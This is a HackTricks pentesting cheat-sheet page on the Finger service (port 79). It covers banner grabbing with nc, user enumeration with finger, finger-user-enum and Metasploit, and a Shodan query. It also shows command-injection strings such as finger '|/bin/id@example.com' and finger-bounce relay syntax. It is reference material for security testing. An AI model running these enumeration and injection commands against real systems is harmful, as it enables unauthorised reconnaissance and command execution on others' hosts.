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93 lines
3.8 KiB
Markdown
93 lines
3.8 KiB
Markdown
# 79 - Pentesting Finger
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<details>
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<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Other ways to support HackTricks:
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* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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## **Basic Info**
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The **Finger** program/service is utilized for retrieving details about computer users. Typically, the information provided includes the **user's login name, full name**, and, in some cases, additional details. These extra details could encompass the office location and phone number (if available), the time the user logged in, the period of inactivity (idle time), the last instance mail was read by the user, and the contents of the user's plan and project files.
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**Default port:** 79
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```
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PORT STATE SERVICE
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79/tcp open finger
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```
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## **Enumeration**
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### **Banner Grabbing/Basic connection**
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```bash
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nc -vn <IP> 79
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echo "root" | nc -vn <IP> 79
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```
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### **User enumeration**
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```bash
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finger @<Victim> #List users
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finger admin@<Victim> #Get info of user
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finger user@<Victim> #Get info of user
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```
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Alternatively you can use **finger-user-enum** from [**pentestmonkey**](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum), some examples:
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```bash
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finger-user-enum.pl -U users.txt -t 10.0.0.1
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finger-user-enum.pl -u root -t 10.0.0.1
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finger-user-enum.pl -U users.txt -T ips.txt
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```
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#### **Nmap execute a script for doing using default scripts**
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### Metasploit uses more tricks than Nmap
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```
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use auxiliary/scanner/finger/finger_users
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```
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### Shodan
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* `port:79 USER`
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## Command execution
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```bash
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finger "|/bin/id@example.com"
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finger "|/bin/ls -a /@example.com"
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```
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## Finger Bounce
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[Use a system as a finger relay](https://securiteam.com/exploits/2BUQ2RFQ0I/)
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```
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finger user@host@victim
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finger @internal@external
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```
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<details>
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<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Other ways to support HackTricks:
|
|
|
|
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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